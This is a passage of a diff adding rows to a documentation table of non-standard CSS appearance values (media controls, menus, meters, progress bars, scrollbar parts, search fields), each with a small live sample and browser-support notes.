+  </tr>
+  <tr>
+   <td><code>media-controls-background</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleMediaControlsBackground">
+    <pre class="brush: css">
+div{ color: black;
+-webkit-appearance: media-controls-background; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleMediaControlsBackground",100,50,"","", "nobutton")}}</td>
+   <td>Chrome Safari</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>media-controls-dark-bar-background</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sample-media-controls-dark-bar-background">
+    <pre class="brush: css">
+div{ color: black;
+-moz-appearance: media-controls-dark-bar-background;
+-webkit-appearance: media-controls-dark-bar-background; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sample-media-controls-dark-bar-background",100,50,"","","nobutton")}}</td>
+   <td>Safari</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>media-controls-fullscreen-background</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleMediaControlsFullscreenBackground">
+    <pre class="brush: css">
+div{ color: black;
+-webkit-appearance: media-controls-fullscreen-background; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleMediaControlsFullscreenBackground",100,50,"","", "nobutton")}}</td>
+   <td>Chrome Safari</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>media-controls-light-bar-background</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sample-media-controls-light-bar-background">
+    <pre class="brush: css">
+div{ color: black;
+-moz-appearance: media-controls-light-bar-background;
+-webkit-appearance: media-controls-light-bar-background; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sample-media-controls-light-bar-background",100,50,"","","nobutton")}}</td>
+   <td>Safari</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>media-current-time-display</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleMediaCurrentTimeDisplay">
+    <pre class="brush: css">
+div{ color: black;
+-webkit-appearance: media-current-time-display; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleMediaCurrentTimeDisplay",100,50,"","", "nobutton")}}</td>
+   <td>Chrome Safari</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>media-time-remaining-display</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleMediaTimeRemainingDisplay">
+    <pre class="brush: css">
+div{ color: black;
+-webkit-appearance: media-time-remaining-display; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleMediaTimeRemainingDisplay",100,50,"","", "nobutton")}}</td>
+   <td>Chrome Safari</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>menuarrow</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleMenuArrow">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: menuarrow;
+-webkit-appearance: menuarrow; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleMenuArrow",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Removed in Firefox 64</td>
+  </tr>
+  <tr>
+   <td><code>menubar</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleMenubar">
+    <pre class="brush: css">
+div { color: balck;
+-moz-appearance: menubar;
+-webkit-appearance: menubar; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleMenubar",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Removed in Firefox 64</td>
+  </tr>
+  <tr>
+   <td><code>menucheckbox</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleMenuCheckbox">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: menucheckbox;
+-webkit-appearance: menucheckbox; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleMenuCheckbox",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Removed in Firefox 64</td>
+  </tr>
+  <tr>
+   <td><code>menuimage</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleMenuImage">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: menuimage;
+-webkit-appearance: menuimage; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleMenuImage",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Removed in Firefox 64</td>
+  </tr>
+  <tr>
+   <td><code>menuitem</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleMenuItem">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: menuitem;
+-webkit-appearance: menuitem; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleMenuItem",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Removed in Firefox 64, the element was styled as menu item, item is highlighted when hovered.</td>
+  </tr>
+  <tr>
+   <td><code>menuitemtext</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleMenuItemText">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: menuitemtext;
+-webkit-appearance: menuitemtext; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleMenuItemText",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Removed in FF 64</td>
+  </tr>
+  <tr>
+   <td><code>menulist</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleMenuList">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: menulist;
+-webkit-appearance: menulist; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleMenuList",100,50,"","", "nobutton")}}</td>
+   <td>Firefox Chrome Safari Edge</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>menulist-button</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleMenuListButton">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: menulist-button;
+-webkit-appearance: menulist-button; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleMenuListButton",100,50,"","", "nobutton")}}</td>
+   <td>Firefox Chrome Safari Edge</td>
+   <td>The element is styled as a button that would indicate a menulist can be opened.</td>
+  </tr>
+  <tr>
+   <td><code>menulist-text</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleMenuListText">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: menulist-text;
+-webkit-appearance: menulist-text; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleMenuListText",100,50,"","", "nobutton")}}</td>
+   <td>Firefox Chrome Safari Edge</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>menulist-textfield</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleMenuListTextfield">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: menulist-textfield;
+-webkit-appearance: menulist-textfield; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleMenuListTextfield",100,50,"","", "nobutton")}}</td>
+   <td>Firefox Chrome Safari Edge</td>
+   <td>The element is styled as the text field for a menulist. (Not implemented for the Windows platform)</td>
+  </tr>
+  <tr>
+   <td><code>menupopup</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleMenuPopup">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: menupopup;
+-webkit-appearance: menupopup; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleMenuPopup",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Removed in Firefox 64</td>
+  </tr>
+  <tr>
+   <td><code>menuradio</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleMenuRadio">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: menuradio;
+-webkit-appearance: menuradio; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleMenuRadio",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Removed in Firefox 64</td>
+  </tr>
+  <tr>
+   <td><code>menuseparator</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleMenuSeparator">
+    <pre class="brush: css">
+div { color: transparent;
+-moz-appearance: menuseparator;
+-webkit-appearance: menuseparator; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleMenuSeparator",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Removed in Firefox 64</td>
+  </tr>
+  <tr>
+   <td><code>meter</code></td>
+   <td>
+    <div class="hidden" id="sampleMeter">
+    <pre class="brush: css">
+div{ color: black;
+-webkit-appearance: meter; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleMeter",100,50,"","", "nobutton")}}</td>
+   <td>Chrome Safari Firefox</td>
+   <td>New in Fx 64</td>
+  </tr>
+  <tr>
+   <td><code>meterbar</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleMeterbar">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: meterbar;
+-webkit-appearance: meterbar; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleMeterbar",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>New in Fx 16. Use <code>meter</code> instead</td>
+  </tr>
+  <tr>
+   <td><code>meterchunk</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleMeterchunk">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: meterchunk;
+-webkit-appearance: meterchunk; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleMeterchunk",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>New in Fx 16. Removed in Firefox 64.</td>
+  </tr>
+  <tr>
+   <td><code>number-input</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleNumberinput">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: number-input;
+-webkit-appearance: number-input; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleNumberInput",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>progress-bar</code></td>
+   <td>
+    <div class="hidden" id="sampleProgressBarWebkit">
+    <pre class="brush: css">
+div{ color: black;
+-webkit-appearance: progress-bar; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleProgressBarWebkit",100,50,"","", "nobutton")}}</td>
+   <td>Chrome Safari Firefox</td>
+   <td>New in Fx 64</td>
+  </tr>
+  <tr>
+   <td><code>progress-bar-value</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleProgressBarValueWebkit">
+    <pre class="brush: css">
+div{ color: black;
+-webkit-appearance: progress-bar-value; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleProgressBarValueWebkit",100,50,"","", "nobutton")}}</td>
+   <td>Chrome Safari</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>progressbar</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleProgressBar">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: progressbar;
+-webkit-appearance: progressbar; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleProgressBar",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>The element is styled like a progress bar. Use <code>progress-bar</code> instead</td>
+  </tr>
+  <tr>
+   <td><code>progressbar-vertical</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleProgressBarVertical">
+    <pre class="brush: css">
+div { color: transparent;
+-moz-appearance: progressbar-vertical;
+-webkit-appearance: preogressbar-vertical; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleProgressBarVertical",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>progresschunk</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleProgressChunk">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: progresschunk;
+-webkit-appearance: progresschunk; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleProgressChunk",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Removed in Firefox 64.</td>
+  </tr>
+  <tr>
+   <td><code>progresschunk-vertical</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleProgressChunkVertical">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: progresschunk-vertical;
+-webkit-appearance: progresschunk-vertical; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleProgressChunkVertical",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Removed in Firefox 64.</td>
+  </tr>
+  <tr>
+   <td><code>push-button</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="samplePushButton">
+    <pre class="brush: css">
+div{ color: black; -webkit-appearance: push-button; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("samplePushButton",100,50,"","", "nobutton")}}</td>
+   <td>Chrome Safari Edge</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>radio</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleRadio">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: radio;
+-webkit-appearance: radio; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleRadio",100,50,"","", "nobutton")}}</td>
+   <td>Firefox Chrome Safari Edge</td>
+   <td>The element is drawn like a radio button, including only the actual "radio button" portion.</td>
+  </tr>
+  <tr>
+   <td><code>radio-container</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleRadioContainer">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: radio-container;
+-webkit-appearance: radio-container; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleRadioContainer",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Removed in Firefox 64, the element is drawn like a container for a radio button, which may include a prelighting background effect under certain platforms. Normally it would contain a label and a radio button.</td>
+  </tr>
+  <tr>
+   <td><code>radio-label</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleRadioLabel">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: radio-label;
+-webkit-appearance: radio-label; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleRadioLabel",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Removed in Firefox 64.</td>
+  </tr>
+  <tr>
+   <td><code>radiomenuitem</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleRadioMenuItem">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: radiomenuitem;
+-webkit-appearance: radiomenuitem; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleRadioMenuItem",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Removed in Firefox 64.</td>
+  </tr>
+  <tr>
+   <td><code>range</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleRange">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: range;
+-webkit-appearance: range; }</pre>
+    range
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleRange",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>range-thumb</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleRangeThumb">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: range-thumb;
+-webkit-appearance: range-thumb; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleRangeThumb",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>rating-level-indicator</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sample-rating-level-indicator">
+    <pre class="brush: css">
+div{ color: black;
+-moz-appearance: rating-level-indicator;
+-webkit-appearance: rating-level-indicator; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sample-rating-level-indicator",100,50,"","","nobutton")}}</td>
+   <td>Safari</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>resizer</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleResizer">
+    <pre class="brush: css">
+div { color: transparent;
+-moz-appearance: resizer;
+-webkit-appearance: resizer; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleResizer",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Removed in Firefox 63</td>
+  </tr>
+  <tr>
+   <td><code>resizerpanel</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleResizerPanel">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: resizerpanel;
+-webkit-appearance: resizerpanel; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleResizerPanel",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Removed in Firefox 63.</td>
+  </tr>
+  <tr>
+   <td><code>scale-horizontal</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleScaleHorizontal">
+    <pre class="brush: css">
+div { color: transparent;
+-moz-appearance: scale-horizontal;
+-webkit-appearance: scale-horizontal; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleScaleHorizontal",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>scalethumbend</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleThumbEnd">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: scalethumbend;
+-webkit-appearance: scalethumbend; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleThumbEnd",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>scalethumb-horizontal</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleScaleThumbHorizontal">
+    <pre class="brush: css">
+div { color: transparent;
+-moz-appearance: scalethumb-horizontal;
+-webkit-appearance: scalethumb-horizontal; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleScaleThumbHorizontal",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>scalethumbstart</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleScaleThumbStart">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: scalethumbstart;
+-webkit-appearance: scalethumbstart; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleScaleThumbStart",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>scalethumbtick</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleScaleThumbTick">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: scalethumbtick;
+-webkit-appearance: scalethumbtick; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleScaleThumbTick",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>scalethumb-vertical</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleScaleThumbVertical">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: scalethumb-vertical;
+-webkit-appearance: scalethumb-vertical; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleScaleThumbVertical",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>scale-vertical</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleScaleVertical">
+    <pre class="brush: css">
+div { color: transparent;
+-moz-appearance: scale-vertical;
+-webkit-appearance: scale-vertical; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleScaleVertical",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>scrollbarbutton-down</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleScrollbarButtonDown">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: scrollbarbutton-down;
+-webkit-appearance: scrollbarbutton-down; }</pre>
+
+    <pre class="bruh: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleScrollbarButtonDown",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Removed in Firefox 63.</td>
+  </tr>
+  <tr>
+   <td><code>scrollbarbutton-left</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleScrollbarButtonLeft">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: scrollbarbutton-left;
+-webkit-appearance: scrollbarbutton-left; }</pre>
+
+    <pre class="bruh: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleScrollbarButtonLeft",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Removed in Firefox 63.</td>
+  </tr>
+  <tr>
+   <td><code>scrollbarbutton-right</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleScrollbarButtonRight">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: scrollbarbutton-right;
+-webkit-appearance: scrollbarbutton-right; }</pre>
+
+    <pre class="bruh: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleScrollbarButtonRight",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Removed in Firefox 63.</td>
+  </tr>
+  <tr>
+   <td><code>scrollbarbutton-up</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleScrollbarButtonUp">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: scrollbarbutton-up;
+-webkit-appearance: scrollbarbutton-up; }</pre>
+
+    <pre class="bruh: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleScrollbarButtonUp",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Removed in Firefox 63.</td>
+  </tr>
+  <tr>
+   <td><code>scrollbarthumb-horizontal</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleScrollbarThumbHorizontal">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: scrollbarthumb-horizontal;
+-webkit-appearance: scrollbarthumb-horizontal; }</pre>
+
+    <pre class="bruh: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleScrollbarThumbHorizontal",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>scrollbarthumb-vertical</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleScrollbarThumbVertical">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: scrollbarthumb-vertical;
+-webkit-appearance: scrollbarthumb-vertical; }</pre>
+
+    <pre class="bruh: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleScrollbarThumbVertical",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>scrollbartrack-horizontal</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleScrollbarTrackHorizontal">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: scrollbartrack-horizontal;
+-webkit-appearance: scrollbartrack-horizontal; }</pre>
+
+    <pre class="bruh: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleScrollbarTrackHorizontal",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>scrollbartrack-vertical</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleScrollbarTrackVertical">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: scrollbartrack-vertical;
+-webkit-appearance: scrollbarbartrack-vertical; }</pre>
+
+    <pre class="bruh: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleScrollbarTrackVertical",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>searchfield</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleSearchField">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: searchfield;
+-webkit-appearance: searchfield; }</pre>
+
+    <pre class="bruh: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleSearchField",100,50,"","", "nobutton")}}</td>
+   <td>Firefox Chrome Safari Edge</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>searchfield-decoration</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sample-searchfield-decoration">
+    <pre class="brush: css">
+div{ color: black;
+-moz-appearance: searchfield-decoration;
+-webkit-appearance: searchfield-decoration; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sample-searchfield-decoration",100,50,"","","nobutton")}}</td>
+   <td>Safari Edge</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>searchfield-results-decoration</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sample-searchfield-results-decoration">
+    <pre class="brush: css">
+div{ color: black;
+-moz-appearance: searchfield-results-decoration;
+-webkit-appearance: searchfield-results-decoration; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
